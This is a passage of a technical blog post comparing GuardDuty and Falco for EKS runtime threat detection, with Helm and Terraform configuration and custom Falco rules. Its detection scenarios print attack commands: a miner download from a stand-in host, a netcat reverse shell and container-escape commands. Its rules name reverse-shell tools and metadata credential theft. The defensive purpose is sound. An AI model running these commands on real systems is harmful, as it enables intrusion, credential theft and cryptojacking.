    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">containerd</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>

<span class="na">falcosidekick</span><span class="pi">:</span>
  <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">webui</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">replicaCount</span><span class="pi">:</span> <span class="m">1</span>
  <span class="na">config</span><span class="pi">:</span>
    <span class="na">slack</span><span class="pi">:</span>
      <span class="na">webhookurl</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>  <span class="c1"># Set via --set or secret</span>
      <span class="na">minimumpriority</span><span class="pi">:</span> <span class="s2">"</span><span class="s">warning"</span>
    <span class="na">aws</span><span class="pi">:</span>
      <span class="na">cloudwatchlogs</span><span class="pi">:</span>
        <span class="na">loggroup</span><span class="pi">:</span> <span class="s2">"</span><span class="s">/eks/falco/alerts"</span>
        <span class="na">logstream</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
        <span class="na">minimumpriority</span><span class="pi">:</span> <span class="s2">"</span><span class="s">warning"</span>
      <span class="na">sns</span><span class="pi">:</span>
        <span class="na">topicarn</span><span class="pi">:</span> <span class="s2">"</span><span class="s">arn:aws:sns:us-east-1:181303648587:alert-critical"</span>
        <span class="na">minimumpriority</span><span class="pi">:</span> <span class="s2">"</span><span class="s">critical"</span>
      <span class="na">s3</span><span class="pi">:</span>
        <span class="na">bucket</span><span class="pi">:</span> <span class="s2">"</span><span class="s">my-falco-logs-bucket"</span>
        <span class="na">prefix</span><span class="pi">:</span> <span class="s2">"</span><span class="s">falco/"</span>
        <span class="na">minimumpriority</span><span class="pi">:</span> <span class="s2">"</span><span class="s">notice"</span>

<span class="na">tolerations</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">effect</span><span class="pi">:</span> <span class="s">NoSchedule</span>
    <span class="na">operator</span><span class="pi">:</span> <span class="s">Exists</span>

<span class="na">resources</span><span class="pi">:</span>
  <span class="na">requests</span><span class="pi">:</span>
    <span class="na">cpu</span><span class="pi">:</span> <span class="s">100m</span>
    <span class="na">memory</span><span class="pi">:</span> <span class="s">512Mi</span>
  <span class="na">limits</span><span class="pi">:</span>
    <span class="na">cpu</span><span class="pi">:</span> <span class="s">1000m</span>
    <span class="na">memory</span><span class="pi">:</span> <span class="s">1024Mi</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="c"># Deploy with values file</span>
helm <span class="nb">install </span>falco falcosecurity/falco <span class="se">\</span>
  <span class="nt">--namespace</span> falco <span class="se">\</span>
  <span class="nt">--values</span> falco-values.yaml

<span class="c"># Verify deployment</span>
kubectl get pods <span class="nt">-n</span> falco
kubectl logs <span class="nt">-n</span> falco <span class="nt">-l</span> app.kubernetes.io/name<span class="o">=</span>falco <span class="nt">--tail</span><span class="o">=</span>20
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="custom-falco-rules-for-common-threats">Custom Falco Rules for Common Threats</h3>

<p>The real power of Falco lies in writing rules that match your specific environment. Here is a production-ready custom rules file covering the most common EKS threats:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
</pre></td><td class="rouge-code"><pre><span class="c1"># custom-rules.yaml</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect Cryptomining Processes</span>
<span class="c1"># Scenario: Attacker deploys XMRig or similar miner in a compromised pod</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Detect Cryptomining Binary Execution</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects execution of known cryptocurrency mining binaries</span>
    <span class="s">in any container. Covers XMRig, ethminer, cgminer, and</span>
    <span class="s">common pool connections.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">(proc.name in (xmrig, minerd, minergate-cli, cgminer,</span>
    <span class="s">bfgminer, ethminer, cpuminer, cpuminer-multi,</span>
    <span class="s">t-rex, phoenixminer, nbminer, gminer) or</span>
    <span class="s">proc.cmdline contains "stratum+tcp://" or</span>
    <span class="s">proc.cmdline contains "stratum+ssl://" or</span>
    <span class="s">proc.cmdline contains "--donate-level" or</span>
    <span class="s">proc.cmdline contains "pool.minexmr.com" or</span>
    <span class="s">proc.cmdline contains "monerohash.com")</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Cryptominer detected in container</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name</span>
    <span class="s">image=%container.image.repository)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">CRITICAL</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">cryptomining</span><span class="pi">,</span> <span class="nv">mitre_execution</span><span class="pi">,</span> <span class="nv">T1496</span><span class="pi">]</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect Reverse Shell</span>
<span class="c1"># Scenario: Attacker establishes outbound shell after initial access</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Reverse Shell in Container</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects reverse shell connections from containers using</span>
    <span class="s">common techniques: bash -i redirect, netcat, socat, python,</span>
    <span class="s">and perl reverse shells.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">((proc.name = bash and proc.cmdline contains "/dev/tcp/") or</span>
    <span class="s">(proc.name in (nc, ncat, netcat) and</span>
     <span class="s">proc.cmdline contains "-e") or</span>
    <span class="s">(proc.name = socat and</span>
     <span class="s">proc.cmdline contains "exec:") or</span>
    <span class="s">(proc.name = python and</span>
     <span class="s">proc.cmdline contains "socket" and</span>
     <span class="s">proc.cmdline contains "connect") or</span>
    <span class="s">(proc.name = perl and</span>
     <span class="s">proc.cmdline contains "socket"))</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Reverse shell detected</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name</span>
    <span class="s">connection=%fd.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">CRITICAL</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">reverse_shell</span><span class="pi">,</span> <span class="nv">mitre_execution</span><span class="pi">,</span> <span class="nv">T1059</span><span class="pi">]</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect Container Escape Attempts</span>
<span class="c1"># Scenario: Attacker attempts to break out of container isolation</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Container Escape via nsenter or chroot</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects attempts to escape container isolation using nsenter,</span>
    <span class="s">chroot to host filesystem, or access to Docker socket.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">(proc.name = nsenter or</span>
    <span class="s">(proc.name = chroot and proc.cmdline contains "/host") or</span>
    <span class="s">(proc.name = mount and proc.cmdline contains "/var/run/docker.sock") or</span>
    <span class="s">proc.cmdline contains "/.dockerenv" or</span>
    <span class="s">proc.cmdline contains "/proc/1/root")</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Container escape attempt detected</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">CRITICAL</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">container_escape</span><span class="pi">,</span> <span class="nv">mitre_privilege_escalation</span><span class="pi">,</span> <span class="nv">T1611</span><span class="pi">]</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect Unexpected Privilege Escalation</span>
<span class="c1"># Scenario: Process gains root privileges inside a container</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Privilege Escalation via setuid Binary</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects execution of setuid/setgid binaries or direct calls</span>
    <span class="s">to privilege escalation tools inside containers.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">(proc.name in (su, sudo, doas) or</span>
    <span class="s">(proc.name = chmod and proc.cmdline contains "+s") or</span>
    <span class="s">(proc.name = chown and proc.args contains "root"))</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Privilege escalation attempt</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">WARNING</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">privilege_escalation</span><span class="pi">,</span> <span class="nv">mitre_privilege_escalation</span><span class="pi">,</span> <span class="nv">T1548</span><span class="pi">]</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect Kubernetes API Enumeration</span>
<span class="c1"># Scenario: Compromised pod probes the K8s API for lateral movement</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Kubernetes API Access from Container</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects curl or wget requests to the Kubernetes API server</span>
    <span class="s">from within a container, which may indicate reconnaissance</span>
    <span class="s">or credential theft attempts.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">(proc.name in (curl, wget) and</span>
     <span class="s">(proc.cmdline contains "kubernetes.default" or</span>
      <span class="s">proc.cmdline contains "10.96.0.1" or</span>
      <span class="s">proc.cmdline contains "/api/v1/secrets" or</span>
      <span class="s">proc.cmdline contains "/api/v1/namespaces"))</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Kubernetes API access from container</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">WARNING</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">k8s_api_access</span><span class="pi">,</span> <span class="nv">mitre_discovery</span><span class="pi">,</span> <span class="nv">T1613</span><span class="pi">]</span>

<span class="c1"># -------------------------------------------------------------------</span>
<span class="c1"># Rule: Detect IMDS Credential Harvesting</span>
<span class="c1"># Scenario: Pod attempts to steal IAM credentials via metadata service</span>
<span class="c1"># -------------------------------------------------------------------</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">IMDS Credential Access from Container</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Detects attempts to access the EC2 Instance Metadata Service</span>
    <span class="s">(IMDS) to harvest IAM role credentials from containers.</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">(proc.name in (curl, wget) and</span>
     <span class="s">(proc.cmdline contains "169.254.169.254" or</span>
      <span class="s">proc.cmdline contains "metadata.google.internal"))</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">IMDS credential harvesting attempt</span>
    <span class="s">(user=%user.name command=%proc.cmdline container=%container.name</span>
    <span class="s">namespace=%k8s.ns.name pod=%k8s.pod.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">CRITICAL</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">credential_access</span><span class="pi">,</span> <span class="nv">mitre_credential_access</span><span class="pi">,</span> <span class="nv">T1552</span><span class="pi">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="head-to-head-comparison">Head-to-Head Comparison</h2>

<table>
  <thead>
    <tr>
      <th>Feature</th>
      <th>GuardDuty EKS Runtime</th>
      <th>Falco</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Detection Engine</strong></td>
      <td>Managed ML + threat intel + eBPF</td>
      <td>eBPF + custom rules engine</td>
    </tr>
    <tr>
      <td><strong>Deployment</strong></td>
      <td>Managed DaemonSet (EKS add-on)</td>
      <td>Helm chart DaemonSet</td>
    </tr>
    <tr>
      <td><strong>Custom Rules</strong></td>
      <td>No – AWS-curated findings only</td>
      <td>Full custom YAML rules</td>
    </tr>
    <tr>
      <td><strong>Multi-Cloud</strong></td>
      <td>AWS only</td>
      <td>AWS, GCP, Azure, on-prem</td>
    </tr>
    <tr>
      <td><strong>Threat Intel Integration</strong></td>
      <td>AWS threat intelligence feeds</td>
      <td>Community rules, custom feeds</td>
    </tr>
    <tr>
      <td><strong>Alert Outputs</strong></td>
      <td>Security Hub, EventBridge, CloudWatch</td>
      <td>50+ outputs via Falcosidekick</td>
    </tr>
    <tr>
      <td><strong>Extended Threat Detection</strong></td>
      <td>Multi-stage attack correlation</td>
      <td>Manual correlation required</td>
    </tr>
    <tr>
      <td><strong>Maintenance</strong></td>
      <td>Zero – fully managed by AWS</td>
      <td>You manage upgrades, rules, scaling</td>
    </tr>
    <tr>
      <td><strong>Pricing</strong></td>
      <td>Per vCPU-hour (approx $1.50/vCPU/month)</td>
      <td>Free (OSS) + compute costs</td>
    </tr>
    <tr>
      <td><strong>EKS Auto Mode Support</strong></td>
      <td>Yes</td>
      <td>Requires node access</td>
    </tr>
    <tr>
      <td><strong>Compliance Reporting</strong></td>
      <td>Security Hub integration</td>
      <td>Manual or third-party</td>
    </tr>
    <tr>
      <td><strong>Transparency</strong></td>
      <td>Black-box ML models</td>
      <td>Full rule inspection</td>
    </tr>
    <tr>
      <td><strong>Container Runtime Support</strong></td>
      <td>containerd (EKS default)</td>
      <td>containerd, CRI-O, Docker</td>
    </tr>
    <tr>
      <td><strong>Response Automation</strong></td>
      <td>EventBridge + Lambda</td>
      <td>Falcosidekick + any target</td>
    </tr>
    <tr>
      <td><strong>Learning Curve</strong></td>
      <td>Low – enable and forget</td>
      <td>Medium – rules authoring required</td>
    </tr>
    <tr>
      <td><strong>Community</strong></td>
      <td>AWS support channels</td>
      <td>CNCF community, Slack, GitHub</td>
    </tr>
  </tbody>
</table>

<h3 id="cost-comparison-for-a-typical-eks-deployment">Cost Comparison for a Typical EKS Deployment</h3>

<p>For a cluster with 10 nodes, each running 4 vCPUs (40 vCPUs total):</p>

<table>
  <thead>
    <tr>
      <th>Cost Component</th>
      <th>GuardDuty</th>
      <th>Falco</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Service cost</strong></td>
      <td>~$60/month (40 vCPUs x $1.50)</td>
      <td>$0 (open source)</td>
    </tr>
    <tr>
      <td><strong>Compute overhead</strong></td>
      <td>~5% CPU per node (managed)</td>
      <td>~100m-1000m CPU per node</td>
    </tr>
    <tr>
      <td><strong>Storage</strong></td>
      <td>Included in GuardDuty</td>
      <td>S3/CloudWatch log costs</td>
    </tr>
    <tr>
      <td><strong>Alerting</strong></td>
      <td>EventBridge + SNS (minimal)</td>
      <td>Falcosidekick compute + targets</td>
    </tr>
    <tr>
      <td><strong>Staff time</strong></td>
      <td>Minimal</td>
      <td>Rules authoring + maintenance</td>
    </tr>
    <tr>
      <td><strong>Estimated monthly total</strong></td>
      <td>~$65-80</td>
      <td>~$10-30 (compute + storage)</td>
    </tr>
  </tbody>
</table>

<p>The real cost difference is operational: GuardDuty requires near-zero maintenance while Falco requires ongoing rules management and upgrades. For teams with security engineering capacity, Falco’s lower direct cost and full customization make it compelling. For teams prioritizing speed, GuardDuty’s managed experience wins.</p>

<h2 id="real-detection-scenarios">Real Detection Scenarios</h2>

<h3 id="scenario-1-cryptomining-attack">Scenario 1: Cryptomining Attack</h3>

<p>An attacker exploits a vulnerable web application running in your EKS cluster, gains shell access, and deploys XMRig to mine Monero.</p>

<p><strong>Attack chain:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="c"># Attacker exploits RCE vulnerability</span>
curl <span class="nt">-X</span> POST http://vulnerable-app/api/exec <span class="nt">-d</span> <span class="s1">'{"cmd":"whoami"}'</span>

<span class="c"># Downloads and runs XMRig</span>
wget <span class="nt">-q</span> https://evil.example.com/xmrig <span class="nt">-O</span> /tmp/xmrig
<span class="nb">chmod</span> +x /tmp/xmrig
/tmp/xmrig <span class="nt">--url</span> stratum+tcp://pool.minexmr.com:4444 <span class="nt">--user</span> &lt;wallet&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>GuardDuty Detection:</strong></p>
<ul>
  <li>Finding type: <code class="language-plaintext highlighter-rouge">CryptoCurrency:Runtime/BitcoinTool.B</code></li>
  <li>Severity: HIGH (8.0)</li>
  <li>Detection method: Process signature + network destination matching</li>
  <li>Time to detect: Near real-time (seconds to minutes)</li>
  <li>Response: EventBridge triggers Lambda for automated pod isolation</li>
</ul>

<p><strong>Falco Detection:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>CRITICAL: Cryptominer detected in container
  (user=www-data command=/tmp/xmrig --url stratum+tcp://pool.minexmr.com:4444
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
   image=myregistry/web-app:v2.3)
</pre></td></tr></tbody></table></code></pre></div></div>
<ul>
  <li>Rule triggered: <code class="language-plaintext highlighter-rouge">Detect Cryptomining Binary Execution</code></li>
  <li>Priority: CRITICAL</li>
  <li>Detection method: Process name + command line pattern matching</li>
  <li>Time to detect: Milliseconds (kernel-level)</li>
  <li>Response: Falcosidekick routes to SNS, Slack, and S3</li>
</ul>

<p><strong>Verdict</strong>: Both detect this reliably. GuardDuty adds network-level correlation (outbound to known mining pools). Falco gives you faster kernel-level detection and the ability to add custom mining pool addresses.</p>

<h3 id="scenario-2-reverse-shell-establishment">Scenario 2: Reverse Shell Establishment</h3>

<p>After initial access, an attacker establishes persistence via a reverse shell using netcat.</p>

<p><strong>Attack chain:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="c"># Attacker establishes reverse shell</span>
<span class="nb">rm</span> /tmp/f<span class="p">;</span> <span class="nb">mkfifo</span> /tmp/f<span class="p">;</span> <span class="nb">cat</span> /tmp/f | /bin/bash <span class="nt">-i</span> 2&gt;&amp;1 | nc 10.0.0.99 4444 <span class="o">&gt;</span> /tmp/f
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>GuardDuty Detection:</strong></p>
<ul>
  <li>Finding type: <code class="language-plaintext highlighter-rouge">Execution:Runtime/ReverseShell</code></li>
  <li>Severity: HIGH (8.0)</li>
  <li>Details: Identifies the outbound connection, process tree, and container context</li>
  <li>Extended Threat Detection: Can correlate this with subsequent credential access</li>
</ul>

<p><strong>Falco Detection:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>CRITICAL: Reverse shell detected
  (user=www-data command=nc -e /bin/bash 10.0.0.99 4444
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
   connection=10.0.0.99:4444)
</pre></td></tr></tbody></table></code></pre></div></div>
<ul>
  <li>Rule triggered: <code class="language-plaintext highlighter-rouge">Reverse Shell in Container</code></li>
  <li>Includes full process tree and network connection details</li>
</ul>

<p><strong>Verdict</strong>: Both detect standard reverse shell techniques. GuardDuty’s Extended Threat Detection excels at correlating the reverse shell with subsequent attacker actions. Falco lets you write rules for custom or obfuscated reverse shell variants specific to your environment.</p>

<h3 id="scenario-3-privilege-escalation-and-container-escape">Scenario 3: Privilege Escalation and Container Escape</h3>

<p>An attacker attempts to escape the container by accessing the host filesystem through <code class="language-plaintext highlighter-rouge">/proc/1/root</code>.</p>

<p><strong>Attack chain:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="c"># Attempt to access host filesystem</span>
<span class="nb">ls</span> /proc/1/root/etc/shadow

<span class="c"># Try nsenter to break into host namespace</span>
nsenter <span class="nt">--target</span> 1 <span class="nt">--mount</span> <span class="nt">--uts</span> <span class="nt">--ipc</span> <span class="nt">--net</span> <span class="nt">--pid</span> <span class="nt">--</span> /bin/bash

<span class="c"># Access Docker socket if mounted</span>
curl <span class="nt">--unix-socket</span> /var/run/docker.sock http://localhost/containers/json
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>GuardDuty Detection:</strong></p>
<ul>
  <li>Finding type: <code class="language-plaintext highlighter-rouge">PrivilegeEscalation:Runtime/ContainerEscape</code></li>
  <li>Severity: CRITICAL (9.0)</li>
  <li>Detects nsenter, chroot, and Docker socket access patterns</li>
  <li>Correlates with pod security context (privileged mode, host PID)</li>
</ul>

<p><strong>Falco Detection:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>CRITICAL: Container escape attempt detected
  (user=root command=nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
   container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1)
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Verdict</strong>: Both detect standard escape vectors. Falco lets you extend detection to application-specific escape patterns. GuardDuty correlates with the pod’s security context and IAM role to assess blast radius automatically.</p>

<h2 id="when-to-use-which-decision-framework">When to Use Which: Decision Framework</h2>

<h3 id="choose-guardduty-eks-runtime-monitoring-when">Choose GuardDuty EKS Runtime Monitoring When</h3>

<ul>
  <li><strong>AWS-only environment</strong>: Your Kubernetes workloads run exclusively on EKS</li>
  <li><strong>Small security team</strong>: You need detection without dedicated rules engineers</li>
  <li><strong>Compliance-first</strong>: You need Security Hub integration for compliance reporting</li>
  <li><strong>Multi-stage detection</strong>: You want automatic correlation across EKS audit logs, runtime, and AWS API activity</li>
  <li><strong>Speed to value</strong>: You want protection within minutes, not days</li>
  <li><strong>EKS Auto Mode</strong>: You use EKS Auto Mode where node-level access is limited</li>
</ul>

<h3 id="choose-falco-when">Choose Falco When</h3>

<ul>
  <li><strong>Multi-cloud or hybrid</strong>: You run Kubernetes across AWS, GCP, Azure, or on-premises</li>
  <li><strong>Custom threat model</strong>: You need detection rules tailored to your specific applications</li>
  <li><strong>Full transparency</strong>: You require complete visibility into what triggers alerts and why</li>
  <li><strong>Cost optimization</strong>: You have the engineering capacity to manage Falco but want to minimize service costs</li>
  <li><strong>Advanced customization</strong>: You need to detect application-specific behaviors, not just generic threats</li>
  <li><strong>Existing CNCF stack</strong>: You already run Prometheus, Grafana, and other CNCF tools</li>
</ul>

<h3 id="choose-both-defense-in-depth-when">Choose Both (Defense-in-Depth) When</h3>

<ul>
  <li><strong>High-value targets</strong>: Your EKS clusters process sensitive data or financial transactions</li>
  <li><strong>Regulated industries</strong>: Healthcare, finance, or government workloads requiring layered controls</li>
  <li><strong>Security maturity</strong>: Your team has capacity to manage custom rules AND wants managed correlation</li>
  <li><strong>Zero-trust posture</strong>: You want overlapping detection to minimize blind spots</li>
</ul>

<h2 id="defense-in-depth-running-both-together">Defense-in-Depth: Running Both Together</h2>

<p>The optimal approach for production EKS clusters is running both tools simultaneously. They complement each other: GuardDuty provides managed threat intelligence and multi-stage correlation, while Falco provides custom application-aware rules and multi-cloud portability.</p>

<h3 id="combined-architecture">Combined Architecture</h3>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
</pre></td><td class="rouge-code"><pre><span class="c1"># main.tf -- Combined GuardDuty + Falco deployment</span>

<span class="c1"># --- GuardDuty EKS Runtime Monitoring ---</span>
<span class="nx">resource</span> <span class="s2">"aws_guardduty_detector"</span> <span class="s2">"main"</span> <span class="p">{</span>
  <span class="nx">enable</span> <span class="o">=</span> <span class="kc">true</span>
<span class="p">}</span>

<span class="nx">resource</span> <span class="s2">"aws_guardduty_detector_feature"</span> <span class="s2">"eks_runtime"</span> <span class="p">{</span>
  <span class="nx">detector_id</span> <span class="o">=</span> <span class="nx">aws_guardduty_detector</span><span class="p">.</span><span class="nx">main</span><span class="p">.</span><span class="nx">id</span>
  <span class="nx">name</span>        <span class="o">=</span> <span class="s2">"EKS_RUNTIME_MONITORING"</span>
  <span class="nx">status</span>      <span class="o">=</span> <span class="s2">"ENABLED"</span>

  <span class="nx">additional_configuration</span> <span class="p">{</span>
    <span class="nx">name</span>   <span class="o">=</span> <span class="s2">"EKS_ADDON_MANAGEMENT"</span>
    <span class="nx">status</span> <span class="o">=</span> <span class="s2">"ENABLED"</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1"># --- Falco via Helm ---</span>
<span class="nx">resource</span> <span class="s2">"helm_release"</span> <span class="s2">"falco"</span> <span class="p">{</span>
  <span class="nx">name</span>             <span class="o">=</span> <span class="s2">"falco"</span>
  <span class="nx">repository</span>       <span class="o">=</span> <span class="s2">"https://falcosecurity.github.io/charts"</span>
  <span class="nx">chart</span>            <span class="o">=</span> <span class="s2">"falco"</span>
  <span class="nx">namespace</span>        <span class="o">=</span> <span class="s2">"falco"</span>
  <span class="nx">create_namespace</span> <span class="o">=</span> <span class="kc">true</span>
  <span class="nx">version</span>          <span class="o">=</span> <span class="s2">"4.x.x"</span>  <span class="c1"># Pin to latest stable</span>

  <span class="nx">values</span> <span class="o">=</span> <span class="p">[</span>
    <span class="nx">templatefile</span><span class="p">(</span><span class="s2">"${path.module}/falco-values.yaml"</span><span class="p">,</span> <span class="p">{</span>
      <span class="nx">sns_topic_arn</span>   <span class="o">=</span> <span class="s2">"arn:aws:sns:us-east-1:181303648587:alert-critical"</span>
      <span class="nx">s3_bucket</span>       <span class="o">=</span> <span class="nx">aws_s3_bucket</span><span class="p">.</span><span class="nx">falco_logs</span><span class="p">.</span><span class="nx">id</span>
      <span class="nx">cloudwatch_group</span> <span class="o">=</span> <span class="nx">aws_cloudwatch_log_group</span><span class="p">.</span><span class="nx">falco</span><span class="p">.</span><span class="nx">name</span>
    <span class="p">})</span>
  <span class="p">]</span>

  <span class="nx">depends_on</span> <span class="o">=</span> <span class="p">[</span>
    <span class="nx">aws_guardduty_detector_feature</span><span class="p">.</span><span class="nx">eks_runtime</span>
  <span class="p">]</span>
<span class="err">}</span>

<span class="c1"># --- Shared Alert Infrastructure ---</span>
<span class="nx">resource</span> <span class="s2">"aws_s3_bucket"</span> <span class="s2">"falco_logs"</span> <span class="p">{</span>
  <span class="nx">bucket</span> <span class="o">=</span> <span class="s2">"my-org-falco-logs-${data.aws_caller_identity.current.account_id}"</span>

  <span class="nx">tags</span> <span class="o">=</span> <span class="p">{</span>
    <span class="nx">Customer</span>    <span class="o">=</span> <span class="s2">"internal"</span>
    <span class="nx">Application</span> <span class="o">=</span> <span class="s2">"eks-security"</span>
    <span class="nx">Environment</span> <span class="o">=</span> <span class="s2">"prod"</span>
